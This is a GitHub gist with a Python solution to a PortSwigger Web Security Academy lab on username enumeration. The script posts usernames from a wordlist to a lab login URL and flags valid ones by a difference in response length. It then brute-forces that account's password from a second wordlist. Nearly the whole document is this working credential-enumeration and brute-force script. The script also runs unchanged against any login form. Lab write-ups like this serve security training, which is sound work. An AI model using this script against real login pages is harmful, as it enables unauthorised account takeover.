Skip to content

Instantly share code, notes, and snippets.

@heapbytes
Created November 13, 2023 16:45
Show Gist options
  • Save heapbytes/933de4e93247808cbfbec9a97d464eb0 to your computer and use it in GitHub Desktop.
Save heapbytes/933de4e93247808cbfbec9a97d464eb0 to your computer and use it in GitHub Desktop.
portswigger - Lab: Username enumeration via different responses
import requests
url = 'https://0a1500720486644082cc1618002c003c.web-security-academy.net/login'
users = open('users.txt', 'r').read().splitlines()
passwords = open('passwd.txt', 'r').read().splitlines()
for username in users:
data = {'username': username, 'password': 'password'}
r = requests.post(url, data=data)
if len(r.content) == 3140:
print('Username failed for: ' + username)
else:
print('Username found: ' + username)
break
#username = 'apps'
for password in passwords:
data = {'username': username, 'password': password}
r = requests.post(url, data=data)
if len(r.content) == 3142:
print('Password failed for: ' + password)
else:
print('Password found: ' + password)
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment